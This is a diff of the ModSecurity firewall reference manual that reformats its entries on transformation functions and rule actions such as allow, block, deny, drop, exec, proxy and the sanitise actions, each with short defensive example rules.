<literal>removeNulls</literal> - This function removes NULL bytes from input.
-
<literal>removeWhitespace</literal> - This function removes all whitespace characters from input.
-
<literal>replaceComments</literal> - - This function replaces each occurrence of a C-style comments - (/* ... */) with a single space - (multiple consecutive occurrences of a space will not be compressed). - Unterminated comments will too be replaced with a space (ASCII 32). - However, a standalone termination of a comment (*/) will not be acted upon. + This function replaces each occurrence of a C-style comments (/* ... */) with a single space (multiple consecutive occurrences of a space + will not be compressed). Unterminated comments will too be replaced with a space (ASCII 32). + However, a standalone termination of a comment (*/) will + not be acted upon.
-
<literal>replaceNulls</literal> - - This function is enabled by default. It replaces NULL bytes in - input with spaces (ASCII 32). + This function is enabled by default. It replaces NULL bytes in input with spaces (ASCII + 32).
-
<literal>urlDecode</literal> - - This function decodes an URL-encoded input string. Invalid - encodings (i.e. the ones that use non-hexadecimal characters, or the - ones that are at the end of string and have one or two characters - missing) will not be converted. If you want to detect invalid encodings - use the @validateUrlEncoding - operator. The transformation function should not be used against - variables that have already been URL-decoded unless it is your intention - to perform URL decoding twice! + This function decodes an URL-encoded input string. Invalid encodings (i.e. the ones that + use non-hexadecimal characters, or the ones that are at the end of string and have one or + two characters missing) will not be converted. If you want to detect invalid encodings use + the @validateUrlEncoding operator. The transformation + function should not be used against variables that have already been URL-decoded unless it + is your intention to perform URL decoding twice!
-
<literal>urlDecodeUni</literal> - - In addition to decoding %xx like urlDecode, urlDecodeUni also decodes %uXXXX encoding. If the code is in the range - of FF01-FF5E (the full width ASCII - codes), then the higher byte is used to detect and adjust the lower - byte. Otherwise, only the lower byte will be used and the higher byte - zeroed. + In addition to decoding %xx like urlDecode, + urlDecodeUni also decodes %uXXXX encoding. If + the code is in the range of FF01-FF5E (the full width + ASCII codes), then the higher byte is used to detect and adjust the lower byte. Otherwise, + only the lower byte will be used and the higher byte zeroed.
-
<literal>urlEncode</literal> - This function encodes input using URL encoding.
-
<literal>sha1</literal> - - This function calculates a SHA1 hash from input. Note that the - computed hash is in a raw binary form and may need encoded to be usable - (for example: t:sha1,t:hexEncode). + This function calculates a SHA1 hash from input. Note that the computed hash is in a raw + binary form and may need encoded to be usable (for example: t:sha1,t:hexEncode).
-
<literal>trimLeft</literal> - - This function removes whitespace from the left side of - input. + This function removes whitespace from the left side of input.
-
<literal>trimRight</literal> - - This function removes whitespace from the right side of - input. + This function removes whitespace from the right side of input.
-
<literal>trim</literal> - - This function removes whitespace from both the left and right - sides of input. + This function removes whitespace from both the left and right sides of input.
-
Actions - Each action belongs to one of five groups: - Disruptive actions - - Cause ModSecurity to do something. In many cases something - means block transaction, but not in all. For example, the allow - action is classified as a disruptive action, but it does the - opposite of blocking. There can only be one disruptive action per - rule (if there are multiple disruptive actions present, or - inherited, only the last one will take effect), or rule chain (in a - chain, a disruptive action can only appear in the first - rule). + Cause ModSecurity to do something. In many cases something means block transaction, + but not in all. For example, the allow action is classified as a disruptive action, but + it does the opposite of blocking. There can only be one disruptive action per rule (if + there are multiple disruptive actions present, or inherited, only the last one will take + effect), or rule chain (in a chain, a disruptive action can only appear in the first + rule). - Non-disruptive actions - - Do something, but that something does not and cannot affect - the rule processing flow. Setting a variable, or changing its value - is an example of a non-disruptive action. Non-disruptive action can - appear in any rule, including each rule belonging to a chain. + Do something, but that something does not and cannot affect the rule processing + flow. Setting a variable, or changing its value is an example of a non-disruptive + action. Non-disruptive action can appear in any rule, including each rule belonging to a + chain. - Flow actions - - These actions affect the rule flow (for example - skip or skipAfter). + These actions affect the rule flow (for example skip or skipAfter). - Meta-data actions - - Meta-data actions are used to provide more information about - rules. Examples include id, - rev, severity and - msg. + Meta-data actions are used to provide more information about rules. Examples include + id, rev, severity and + msg. - Data actions - - Not really actions, these are mere containers that hold data - used by other actions. For example, the status - action holds the status that will be used for blocking (if it takes - place). + Not really actions, these are mere containers that hold data used by other actions. + For example, the status action holds the status that will be used for + blocking (if it takes place). -
<literal>allow</literal> - - Description: Stops rule processing on a - successful match and allows the transaction to proceed. - + Description: Stops rule processing on a successful match and allows + the transaction to proceed. Action Group: Disruptive - Example: - SecRule REMOTE_ADDR "^192\.168\.1\.100$" nolog,phase:1,allow - - Prior to ModSecurity 2.5 the allow action would - only affect the current phase. An allow in phase 1 - would skip processing the remaining rules in phase 1 but the rules from - phase 2 would execute. Starting with v2.5.0 allow was - enhanced to allow for fine-grained control of what is done. The - following rules now apply: - + Prior to ModSecurity 2.5 the allow action would only affect the + current phase. An allow in phase 1 would skip processing the remaining + rules in phase 1 but the rules from phase 2 would execute. Starting with v2.5.0 allow was enhanced to allow for fine-grained control of what is done. The + following rules now apply: - If used one its own, like in the example above, - allow will affect the entire transaction, - stopping processing of the current phase but also skipping over all - other phases apart from the logging phase. (The logging phase is - special; it is designed to always execute.) + If used one its own, like in the example above, allow will affect + the entire transaction, stopping processing of the current phase but also skipping over + all other phases apart from the logging phase. (The logging phase is special; it is + designed to always execute.) - - If used with parameter "phase", allow will - cause the engine to stop processing the current phase. Other phases - will continue as normal. + If used with parameter "phase", allow will cause the engine to + stop processing the current phase. Other phases will continue as normal. - - If used with parameter "request", allow - will cause the engine to stop processing the current phase. The next - phase to be processed will be phase - RESPONSE_HEADERS. + If used with parameter "request", allow will cause the engine to + stop processing the current phase. The next phase to be processed will be phase RESPONSE_HEADERS. - Examples: - # Do not process request but process response. SecAction phase:1,allow:request # Do not process transaction (request and response). SecAction phase:1,allow - - If you want to allow a response through, put a rule in phase - RESPONSE_HEADERS and simply use - allow on its own: - + If you want to allow a response through, put a rule in phase RESPONSE_HEADERS and simply use allow on its own: # Allow response through. SecAction phase:3,allow
-
append - - Description: Appends text given as parameter - to the end of response body. For this action to work content injection - must be enabled by setting SecContentInjection to - On. Also make sure you check the content type of the - response before you make changes to it (e.g. you don't want to inject - stuff into images). - + Description: Appends text given as parameter to the end of response + body. For this action to work content injection must be enabled by setting SecContentInjection to On. Also make sure you check the + content type of the response before you make changes to it (e.g. you don't want to inject + stuff into images). Action Group: Non-disruptive - Processing Phases: 3 and 4. - Example: - SecRule RESPONSE_CONTENT_TYPE "^text/html" "nolog,pass,append:'<hr>Footer'"
-
<literal>auditlog</literal> - - Description: Marks the transaction for - logging in the audit log. - + Description: Marks the transaction for logging in the audit + log. Action Group: Non-disruptive - Example: - SecRule REMOTE_ADDR "^192\.168\.1\.100$" auditlog,phase:1,allow - Note - - The auditlog action is now explicit if log is already - specified. + The auditlog action is now explicit if log is already specified.
-
<literal>block</literal> - - Description: Performs the default disruptive - action. - + Description: Performs the default disruptive action. Action Group: Disruptive - - It is intended to be used by ruleset writers to signify that the - rule was intended to block and leaves the "how" up to the administrator. - This action is currently a placeholder which will just be replaced by - the action from the last SecDefaultAction in the same - context. Using the block action with the - SecRuleUpdateActionById directive allows a rule to be - reverted back to the previous SecDefaultAction - disruptive action. - - In future versions of ModSecurity, more control and functionality - will be added to define "how" to block. - + It is intended to be used by ruleset writers to signify that the rule was intended to + block and leaves the "how" up to the administrator. This action is currently a placeholder + which will just be replaced by the action from the last SecDefaultAction + in the same context. Using the block action with the SecRuleUpdateActionById directive allows a rule to be reverted back to the + previous SecDefaultAction disruptive action. + In future versions of ModSecurity, more control and functionality will be added to + define "how" to block. Examples: - - In the following example, the second rule will "deny" because of - the SecDefaultAction disruptive action. The intent being that the - administrator could easily change this to another disruptive action - without editing the actual rules. - + In the following example, the second rule will "deny" because of the SecDefaultAction + disruptive action. The intent being that the administrator could easily change this to + another disruptive action without editing the actual rules. ### Administrator defines "how" to block (deny,status:403)... SecDefaultAction phase:2,deny,status:403,log,auditlog @@ -4321,14 +2876,11 @@ SecDefaultAction phase:2,deny,status:403,log,auditlog SecRule REQUEST_HEADERS:User-Agent "perl" "phase:2,pass,msg:'Perl based user agent identified'" # Intent is to block for this User Agent, "how" described in SecDefaultAction SecRule REQUEST_HEADERS:User-Agent "nikto" "phase:2,block,msg:'Nikto Scanners Identified'" - - In the following example, The rule is reverted back to the - pass action defined in the SecDefaultAction directive - by using the SecRuleUpdateActionById directive in - conjuction with the block action. This allows an - administrator to override an action in a 3rd party rule without - modifying the rule itself. - + In the following example, The rule is reverted back to the pass + action defined in the SecDefaultAction directive by using the SecRuleUpdateActionById directive in conjuction with the block action. This allows an administrator to override an action in a 3rd party + rule without modifying the rule itself. ### Administrator defines "how" to block (deny,status:403)... SecDefaultAction phase:2,pass,log,auditlog @@ -4338,238 +2890,158 @@ SecRule REQUEST_HEADERS:User-Agent "nikto" "id:1,phase:2,denyblock"
-
<literal>capture</literal> - - Description: When used together with the - regular expression operator, capture action will create copies of - regular expression captures and place them into the transaction variable - collection. Up to ten captures will be copied on a successful pattern - match, each with a name consisting of a digit from 0 to 9. - + Description: When used together with the regular expression + operator, capture action will create copies of regular expression captures and place them + into the transaction variable collection. Up to ten captures will be copied on a successful + pattern match, each with a name consisting of a digit from 0 to 9. Action Group: Non-disruptive - Example: - SecRule REQUEST_BODY "^username=(\w{25,})" phase:2,capture,t:none,chain SecRule TX:1 "(?:(?:a(dmin|nonymous)))" - Note - - The 0 data captures the entire REGEX match and 1 captures the data - in the first parens, etc... + The 0 data captures the entire REGEX match and 1 captures the data in the first parens, + etc...
-
<literal>chain</literal> - - Description: Chains the rule where the action - is placed with the rule that immediately follows it. The result is - called a rule chain. Chained rules allow for more - complex rule matches where you want to use a number of different - VARIABLES to create a better rule and to help prevent false - positives. - + Description: Chains the rule where the action is placed with the + rule that immediately follows it. The result is called a rule chain. + Chained rules allow for more complex rule matches where you want to use a number of + different VARIABLES to create a better rule and to help prevent false positives. Action Group: Flow - Example: - # Refuse to accept POST requests that do # not specify request body length. Do note that # this rule should be preceeded by a rule that verifies # only valid request methods (e.g. GET, HEAD and POST) are used. SecRule REQUEST_METHOD ^POST$ chain,t:none SecRule REQUEST_HEADER:Content-Length ^$ t:none - - In programming language concepts, think of chained rules - somewhat similar to AND conditional statements. The actions specified - in the first portion of the chained rule will only be triggered if all - of the variable checks return positive hits. If one aspect of the - chained rule is negative, then the entire rule chain is negative. Also - note that disruptive actions, execution phases, metadata actions (id, - rev, msg), skip and skipAfter actions can only be specified on by the - chain starter rule. + In programming language concepts, think of chained rules somewhat similar to AND + conditional statements. The actions specified in the first portion of the chained rule + will only be triggered if all of the variable checks return positive hits. If one aspect + of the chained rule is negative, then the entire rule chain is negative. Also note that + disruptive actions, execution phases, metadata actions (id, rev, msg), skip and skipAfter + actions can only be specified on by the chain starter rule.
-
<literal>ctl</literal> - - Description: The ctl action allows - configuration options to be updated for the transaction. - + Description: The ctl action allows configuration options to be + updated for the transaction. Action Group: Non-disruptive - Example: - # Parse requests with Content-Type "text/xml" as XML SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProcessor=XML - Note - The following configuration options are supported: - auditEngine - auditLogParts - debugLogLevel - - ruleRemoveById (single rule - ID, or a single rule ID range accepted as parameter) + ruleRemoveById (single rule ID, or a single rule + ID range accepted as parameter) - requestBodyAccess - - forceRequestBodyVariable + forceRequestBodyVariable - requestBodyLimit - requestBodyProcessor - responseBodyAccess - responseBodyLimit - ruleEngine - - With the exception of - requestBodyProcessor and - forceRequestBodyVariable, each configuration option - corresponds to one configuration directive and the usage is - identical. - - The requestBodyProcessor option allows you to - configure the request body processor. By default ModSecurity will use - the URLENCODED and MULTIPART processors to process an application/x-www-form-urlencoded and a - multipart/form-data bodies, - respectively. A third processor, XML, is also - supported, but it is never used implicitly. Instead you must tell - ModSecurity to use it by placing a few rules in the REQUEST_HEADERS processing phase. After the - request body was processed as XML you will be able to use the - XML-related features to inspect it. - - Request body processors will not interrupt a transaction if an - error occurs during parsing. Instead they will set variables REQBODY_PROCESSOR_ERROR and REQBODY_PROCESSOR_ERROR_MSG. These variables - should be inspected in the REQUEST_BODY phase and an appropriate action - taken. - - The forceRequestBodyVariable option allows you - to configure the REQUEST_BODY variable to be set when - there is no request body processor configured. This allows for - inspection of request bodies of unknown types. + With the exception of requestBodyProcessor and + forceRequestBodyVariable, each configuration option + corresponds to one configuration directive and the usage is identical. + The requestBodyProcessor option allows you to configure the request + body processor. By default ModSecurity will use the URLENCODED and MULTIPART processors to + process an application/x-www-form-urlencoded and a + multipart/form-data bodies, respectively. A third + processor, XML, is also supported, but it is never used implicitly. + Instead you must tell ModSecurity to use it by placing a few rules in the REQUEST_HEADERS processing phase. After the request body was + processed as XML you will be able to use the XML-related features to inspect it. + Request body processors will not interrupt a transaction if an error occurs during + parsing. Instead they will set variables + REQBODY_PROCESSOR_ERROR and + REQBODY_PROCESSOR_ERROR_MSG. These variables should be inspected in the REQUEST_BODY phase and an appropriate action taken. + The forceRequestBodyVariable option allows you to configure the + REQUEST_BODY variable to be set when there is no request body processor + configured. This allows for inspection of request bodies of unknown types.
-
<literal>deny</literal> - - Description: Stops rule processing and - intercepts transaction. - + Description: Stops rule processing and intercepts + transaction. Action Group: Disruptive - Example: - SecRule REQUEST_HEADERS:User-Agent "nikto" "log,deny,msg:'Nikto Scanners Identified'"
-
<literal>deprecatevar</literal> - - Description: Decrement counter based on its - age. - + Description: Decrement counter based on its age. Action Group: Non-Disruptive - - Example: The following example will decrement the counter by 60 - every 300 seconds. - + Example: The following example will decrement the counter by 60 every 300 + seconds. SecAction deprecatevar:session.score=60/300 - Note - - Counter values are always positive, meaning the value will never - go below zero. + Counter values are always positive, meaning the value will never go below zero.
-
<literal>drop</literal> - - Description: Immediately initiate a - "connection close" action to tear down the TCP connection by sending a - FIN packet. - + Description: Immediately initiate a "connection close" action to + tear down the TCP connection by sending a FIN packet. Action Group: Disruptive - - Example: The following example initiates an IP collection for - tracking Basic Authentication attempts. If the client goes over the - threshold of more than 25 attempts in 2 minutes, it will DROP subsequent - connections. - + Example: The following example initiates an IP collection for tracking Basic + Authentication attempts. If the client goes over the threshold of more than 25 attempts in 2 + minutes, it will DROP subsequent connections. SecAction initcol:ip=%{REMOTE_ADDR},nolog SecRule ARGS:login "!^$" \ nolog,phase:1,setvar:ip.auth_attempt=+1,deprecatevar:ip.auth_attempt=20/120 SecRule IP:AUTH_ATTEMPT "@gt 25" \ log,drop,phase:1,msg:'Possible Brute Force Attack" - Note - - This action is currently not available on Windows based builds. - This action is extremely useful when responding to both Brute Force and - Denial of Service attacks in that, in both cases, you want to minimize - both the network bandwidth and the data returned to the client. This - action causes error message to appear in the log "(9)Bad file - descriptor: core_output_filter: writing data to the network" + This action is currently not available on Windows based builds. This action is extremely + useful when responding to both Brute Force and Denial of Service attacks in that, in both + cases, you want to minimize both the network bandwidth and the data returned to the client. + This action causes error message to appear in the log "(9)Bad file descriptor: + core_output_filter: writing data to the network"
-
<literal>exec</literal> - - Description: Executes an external - script/binary supplied as parameter. As of v2.5.0, if the parameter - supplied to exec is a Lua script (detected by the - .lua extension) the script will be processed - internally. This means you will get direct access - to the internal request context from the script. Please read the - SecRuleScript documentation for more details on how - to write Lua scripts. - + Description: Executes an external script/binary supplied as + parameter. As of v2.5.0, if the parameter supplied to exec is a Lua + script (detected by the .lua extension) the script will be processed + internally. This means you will get direct access to the internal + request context from the script. Please read the SecRuleScript + documentation for more details on how to write Lua scripts. Action Group: Non-disruptive - Example: - # The following is going to execute /usr/local/apache/bin/test.sh # as a shell script on rule match. SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ @@ -4578,908 +3050,574 @@ SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ # The following is going to process /usr/local/apache/conf/exec.lua # internally as a Lua script on rule match. SecRule ARGS:p attack log,exec:/usr/local/apache/conf/exec.lua - - The exec action is executed independently from any disruptive - actions. External scripts will always be called with no parameters. - Some transaction information will be placed in environment variables. - All the usual CGI environment variables will be there. You should be - aware that forking a threaded process results in all threads being - replicated in the new process. Forking can therefore incur larger - overhead in multi-threaded operation. The script you execute must - write something (anything) to stdout. If it doesn't ModSecurity will - assume execution didn't work. + The exec action is executed independently from any disruptive actions. External + scripts will always be called with no parameters. Some transaction information will be + placed in environment variables. All the usual CGI environment variables will be there. + You should be aware that forking a threaded process results in all threads being + replicated in the new process. Forking can therefore incur larger overhead in + multi-threaded operation. The script you execute must write something (anything) to + stdout. If it doesn't ModSecurity will assume execution didn't work.
-
<literal>expirevar</literal> - - Description: Configures a collection variable - to expire after the given time in seconds. - + Description: Configures a collection variable to expire after the + given time in seconds. Action Group: Non-disruptive - Example: - SecRule REQUEST_COOKIES:JSESSIONID "!^$" nolog,phase:1,pass,chain SecAction setsid:%{REQUEST_COOKIES:JSESSIONID} SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ "phase:2,t:none,t:lowercase,t:normalisePath,log,allow,\ setvar:session.suspicious=1,expirevar:session.suspicious=3600,phase:1" - Note - - You should use expirevar actions at the same time that you use - setvar actions in order to keep the indented expiration time. If they - are used on their own (perhaps in a SecAction directive) the expire time - could get re-set. When variables are removed from collections, and there - are no other changes, collections are not written to disk at the end of - request. This is because the variables can always be expired again when - the collection is read again on a subsequent request. + You should use expirevar actions at the same time that you use setvar actions in order + to keep the indented expiration time. If they are used on their own (perhaps in a SecAction + directive) the expire time could get re-set. When variables are removed from collections, + and there are no other changes, collections are not written to disk at the end of request. + This is because the variables can always be expired again when the collection is read again + on a subsequent request.
-
<literal>id</literal> - - Description: Assigns a unique ID to the rule - or chain. - + Description: Assigns a unique ID to the rule or chain. Action Group: Meta-data - Example: - SecRule &REQUEST_HEADERS:Host "@eq 0" \ "log,id:60008,severity:2,msg:'Request Missing a Host Header'" - Note - These are the reserved ranges: - - 1-99,999; reserved for local (internal) use. Use as you see - fit but do not use this range for rules that are distributed to - others. + 1-99,999; reserved for local (internal) use. Use as you see fit but do not use this + range for rules that are distributed to others. - - 100,000-199,999; reserved for internal use of the engine, to - assign to rules that do not have explicit IDs. + 100,000-199,999; reserved for internal use of the engine, to assign to rules that do + not have explicit IDs. - - 200,000-299,999; reserved for rules published at - modsecurity.org. + 200,000-299,999; reserved for rules published at modsecurity.org. - - 300,000-399,999; reserved for rules published at - gotroot.com. + 300,000-399,999; reserved for rules published at gotroot.com. - 400,000-419,999; unused (available for reservation). - 420,000-429,999; reserved for ScallyWhack. + url="http://projects.otaku42.de/wiki/ScallyWhack">ScallyWhack. - 430,000-899,999; unused (available for reservation). - 900,000-999,999; reserved for the Core Rules - project. + url="http://www.modsecurity.org/projects/rules/">Core Rules project. - - 1,000,000 and above; unused (available for - reservation). + 1,000,000 and above; unused (available for reservation).
-
<literal>initcol</literal> - - Description: Initialises a named persistent - collection, either by loading data from storage or by creating a new - collection in memory. - + Description: Initialises a named persistent collection, either by + loading data from storage or by creating a new collection in memory. Action Group: Non-disruptive - - Example: The following example initiates IP address - tracking. - + Example: The following example initiates IP address tracking. SecAction initcol:ip=%{REMOTE_ADDR},nolog - Note - - Collections are loaded into memory when the initcol action is - encountered. The collection in storage will be persisted (and the - appropriate counters increased) only if it was - changed during transaction processing. - + Collections are loaded into memory when the initcol action is encountered. The + collection in storage will be persisted (and the appropriate counters increased) + only if it was changed during transaction processing. See the "Persistant Storage" section for further details.
-
<literal>log</literal> - - Description: Indicates that a successful - match of the rule needs to be logged. - + Description: Indicates that a successful match of the rule needs to + be logged. Action Group: Non-disruptive - Example: - SecAction initcol:ip=%{REMOTE_ADDR},log - Note - - This action will log matches to the Apache error log file and the - ModSecurity audit log. + This action will log matches to the Apache error log file and the ModSecurity audit + log.
-
<literal>logdata</literal> - - Description: Allows a data fragment to be - logged as part of the alert message. - + Description: Allows a data fragment to be logged as part of the + alert message. Action Group: Non-disruptive - Example: - SecRule &ARGS:p "@eq 0" "log,logdata:'%{TX.0}'" - Note - - The logdata information appears in the error and/or audit log - files and is not sent back to the client in response headers. Macro - expansion is preformed so you may use variable names such as %{TX.0}, - etc. The information is properly escaped for use with logging binary - data. + The logdata information appears in the error and/or audit log files and is not sent back + to the client in response headers. Macro expansion is preformed so you may use variable + names such as %{TX.0}, etc. The information is properly escaped for use with logging binary + data.
-
<literal>msg</literal> - - Description: Assigns a custom message to the - rule or chain. - + Description: Assigns a custom message to the rule or chain. Action Group: Meta-data - Example: - SecRule &REQUEST_HEADERS:Host "@eq 0" \ "log,id:60008,severity:2,msg:'Request Missing a Host Header'" - Note - - The msg information appears in the error and/or audit log files - and is not sent back to the client in response headers. + The msg information appears in the error and/or audit log files and is not sent back to + the client in response headers.
-
<literal>multiMatch</literal> - - Description: If enabled ModSecurity will - perform multiple operator invocations for every target, before and after - every anti-evasion transformation is performed. - + Description: If enabled ModSecurity will perform multiple operator + invocations for every target, before and after every anti-evasion transformation is + performed. Action Group: Non-disruptive - Example: - SecDefaultAction log,deny,phase:1,t:removeNulls,t:lowercase SecRule ARGS "attack" multiMatch - Note - - Normally, variables are evaluated once, only after all - transformation functions have completed. With multiMatch, variables are - checked against the operator before and after every transformation - function that changes the input. + Normally, variables are evaluated once, only after all transformation functions have + completed. With multiMatch, variables are checked against the operator before and after + every transformation function that changes the input.
-
<literal>noauditlog</literal> - - Description: Indicates that a successful - match of the rule should not be used as criteria whether the transaction - should be logged to the audit log. - + Description: Indicates that a successful match of the rule should + not be used as criteria whether the transaction should be logged to the audit log. Action Group: Non-disruptive - Example: - SecRule REQUEST_HEADERS:User-Agent "Test" allow,noauditlog - Note - - If the SecAuditEngine is set to On, all of the transactions will - be logged. If it is set to RelevantOnly, then you can control it with - the noauditlog action. Even if the noauditlog action is applied to a - specific rule and a rule either before or after triggered an audit - event, then the transaction will be logged to the audit log. The correct - way to disable audit logging for the entire transaction is to use - "ctl:auditEngine=Off" + If the SecAuditEngine is set to On, all of the transactions will be logged. If it is set + to RelevantOnly, then you can control it with the noauditlog action. Even if the noauditlog + action is applied to a specific rule and a rule either before or after triggered an audit + event, then the transaction will be logged to the audit log. The correct way to disable + audit logging for the entire transaction is to use "ctl:auditEngine=Off"
-
<literal>nolog</literal> - - Description: Prevents rule matches from - appearing in both the error and audit logs. - + Description: Prevents rule matches from appearing in both the error + and audit logs. Action Group: Non-disruptive - Example: - SecRule REQUEST_HEADERS:User-Agent "Test" allow,nolog - Note - The nolog action also implies noauditlog.
-
<literal>pass</literal> - - Description: Continues processing with the - next rule in spite of a successful match. - + Description: Continues processing with the next rule in spite of a + successful match. Action Group: Disruptive - Example1: - SecRule REQUEST_HEADERS:User-Agent "Test" log,pass - - When using pass with SecRule with multiple - targets, all targets will be processed and - all non-disruptive actions will trigger for - every match found. In the second example the - TX:test target would be incremented by 1 for each matching - argument. - + When using pass with SecRule with multiple targets, + all targets will be processed and all + non-disruptive actions will trigger for every match found. In the + second example the TX:test target would be incremented by 1 for each matching + argument. Example2: - SecRule ARGS "test" log,pass,setvar:TX.test=+1 - Note - - The transaction will not be interrupted but a log will be - generated for each matching target (unless logging has been - suppressed). + The transaction will not be interrupted but a log will be generated for each matching + target (unless logging has been suppressed).
-
<literal>pause</literal> - - Description: Pauses transaction processing - for the specified number of milliseconds. - + Description: Pauses transaction processing for the specified number + of milliseconds. Action Group: Non-disruptive - Example: - SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403,pause:5000 - Note - - This feature can be of limited benefit for slowing down Brute - Force Scanners, however use with care. If you are under a Denial of - Service type of attack, the pause feature may make matters worse as this - feature will cause child processes to sit idle until the pause is - completed. + This feature can be of limited benefit for slowing down Brute Force Scanners, however + use with care. If you are under a Denial of Service type of attack, the pause feature may + make matters worse as this feature will cause child processes to sit idle until the pause is + completed.
-
<literal>phase</literal> - - Description: Places the rule (or the rule - chain) into one of five available processing phases. - + Description: Places the rule (or the rule chain) into one of five + available processing phases. Action Group: Meta-data - Example: - SecDefaultAction log,deny,phase:1,t:removeNulls,t:lowercase SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 - Note - - Keep in mind that is you specify the incorrect phase, the target - variable that you specify may be empty. This could lead to a false - negative situation where your variable and operator (RegEx) may be - correct, but it misses malicious data because you specified the wrong - phase. + Keep in mind that is you specify the incorrect phase, the target variable that you + specify may be empty. This could lead to a false negative situation where your variable and + operator (RegEx) may be correct, but it misses malicious data because you specified the + wrong phase.
-
prepend - - Description: Prepends text given as parameter - to the response body. For this action to work content injection must be - enabled by setting SecContentInjection to - On. Also make sure you check the content type of the - response before you make changes to it (e.g. you don't want to inject - stuff into images). - + Description: Prepends text given as parameter to the response body. + For this action to work content injection must be enabled by setting SecContentInjection to On. Also make sure you check the + content type of the response before you make changes to it (e.g. you don't want to inject + stuff into images). Action Group: Non-disruptive - Processing Phases: 3 and 4. - Example: - SecRule RESPONSE_CONTENT_TYPE ^text/html "phase:3,nolog,pass,prepend:'Header<br>'"
-
<literal>proxy</literal> - - Description: Intercepts transaction by - forwarding request to another web server using the proxy backend. - + Description: Intercepts transaction by forwarding request to + another web server using the proxy backend. Action Group: Disruptive - Example: - SecRule REQUEST_HEADERS:User-Agent "Test" log,proxy:http://www.honeypothost.com/ - Note - - For this action to work, mod_proxy must also be installed. This - action is useful if you would like to proxy matching requests onto a - honeypot webserver. + For this action to work, mod_proxy must also be installed. This action is useful if you + would like to proxy matching requests onto a honeypot webserver.
-
<literal>redirect</literal> - - Description: Intercepts transaction by - issuing a redirect to the given location. - + Description: Intercepts transaction by issuing a redirect to the + given location. Action Group: Disruptive - Example: - SecRule REQUEST_HEADERS:User-Agent "Test" \ log,redirect:http://www.hostname.com/failed.html - Note - - If the status action is present - and its value is acceptable (301, 302, 303, or 307) it will be used for - the redirection. Otherwise status code 302 will be used. + If the status action is present and its value is + acceptable (301, 302, 303, or 307) it will be used for the redirection. Otherwise status + code 302 will be used.
-
<literal>rev</literal> - Description: Specifies rule revision. - Action Group: Meta-data - Example: - SecRule REQUEST_METHOD "^PUT$" "id:340002,rev:1,severity:2,msg:'Restricted HTTP function'" - Note - - This action is used in combination with the id action to allow the same rule ID to be used - after changes take place but to still provide some indication the rule - changed. + This action is used in combination with the id action + to allow the same rule ID to be used after changes take place but to still provide some + indication the rule changed.
-
<literal>sanitiseArg</literal> - - Description: Sanitises (replaces each byte - with an asterisk) a named request argument prior to audit - logging. - + Description: Sanitises (replaces each byte with an asterisk) a + named request argument prior to audit logging. Action Group: Non-disruptive - Example: - SecAction nolog,phase:2,sanitiseArg:password - Note - - The sanitize actions do not sanitize any data within the actual - raw requests but only on the copy of data within memory that is set to - log to the audit log. It will not sanitize the data in the - modsec_debug.log file (if the log level is set high enough to capture - this data). + The sanitize actions do not sanitize any data within the actual raw requests but only on + the copy of data within memory that is set to log to the audit log. It will not sanitize the + data in the modsec_debug.log file (if the log level is set high enough to capture this + data).
-
<literal>sanitiseMatched</literal> - - Description: Sanitises the variable (request - argument, request header, or response header) that caused a rule - match. - + Description: Sanitises the variable (request argument, request + header, or response header) that caused a rule match. Action Group: Non-disruptive - - Example: This action can be used to sanitise arbitrary transaction - elements when they match a condition. For example, the example below - will sanitise any argument that contains the word - password in the name. - + Example: This action can be used to sanitise arbitrary transaction elements when they + match a condition. For example, the example below will sanitise any argument that contains + the word password in the name. SecRule ARGS_NAMES password nolog,pass,sanitiseMatched - Note - Same note as sanitiseArg.
-
<literal>sanitiseRequestHeader</literal> - - Description: Sanitises a named request - header. - + Description: Sanitises a named request header. Action Group: Non-disruptive - - Example: This will sanitise the data in the Authorization - header. - + Example: This will sanitise the data in the Authorization header. SecAction log,phase:1,sanitiseRequestHeader:Authorization - Note - Same note as sanitiseArg.
-
<literal>sanitiseResponseHeader</literal> - - Description: Sanitises a named response - header. - + Description: Sanitises a named response header. Action Group: Non-disruptive - - Example: This will sanitise the Set-Cookie data sent to the - client. - + Example: This will sanitise the Set-Cookie data sent to the client. SecAction log,phase:3,sanitiseResponseHeader:Set-Cookie - Note - Same note as sanitiseArg.
-
<literal>severity</literal> - - Description: Assigns severity to the rule it - is placed with. - + Description: Assigns severity to the rule it is placed with. Action Group: Meta-data - Example: - SecRule REQUEST_METHOD "^PUT$" "id:340002,rev:1,severity:CRITICAL,msg:'Restricted HTTP function'" - Note - - Severity values in ModSecurity follow those of syslog, as - below: - + Severity values in ModSecurity follow those of syslog, as below: 0 - EMERGENCY - 1 - ALERT - 2 - CRITICAL - 3 - ERROR - 4 - WARNING - 5 - NOTICE - 6 - INFO - 7 - DEBUG - - It is possible to specify severity levels using either the - numerical values or the text values. You should always specify severity - levels using the text values. The use of the numerical values is - deprecated (as of v2.5.0) and may be removed in one of the susequent - major updates. + It is possible to specify severity levels using either the numerical values or the text + values. You should always specify severity levels using the text values. The use of the + numerical values is deprecated (as of v2.5.0) and may be removed in one of the susequent + major updates.
-
<literal>setuid</literal> - - Description: Special-purpose action that - initialises the USER - collection. - + Description: Special-purpose action that initialises the USER collection. Action Group: Non-disruptive - Example: - SecAction setuid:%{REMOTE_USER},nolog - Note - - After initialisation takes place the variable USERID will be available for use in the - subsequent rules. + After initialisation takes place the variable USERID + will be available for use in the subsequent rules.
-
<literal>setsid</literal> - - Description: Special-purpose action that - initialises the SESSION - collection. - + Description: Special-purpose action that initialises the SESSION collection. Action Group: Non-disruptive - Example: - # Initialise session variables using the session cookie value SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass SecAction setsid:%{REQUEST_COOKIES.PHPSESSID} - Note - - On first invocation of this action the collection will be empty - (not taking the predefined variables into account - see initcol for more information). On subsequent - invocations the contents of the collection (session, in this case) will - be retrieved from storage. After initialisation takes place the - variable SESSIONID will be available - for use in the subsequent rules.This action understands each application - maintains its own set of sessions. It will utilise the current web - application ID to create a session namespace. + On first invocation of this action the collection will be empty (not taking the + predefined variables into account - see initcol for more + information). On subsequent invocations the contents of the collection (session, in this + case) will be retrieved from storage. After initialisation takes place the variable SESSIONID will be available for use in the subsequent + rules.This action understands each application maintains its own set of sessions. It will + utilise the current web application ID to create a session namespace.
-
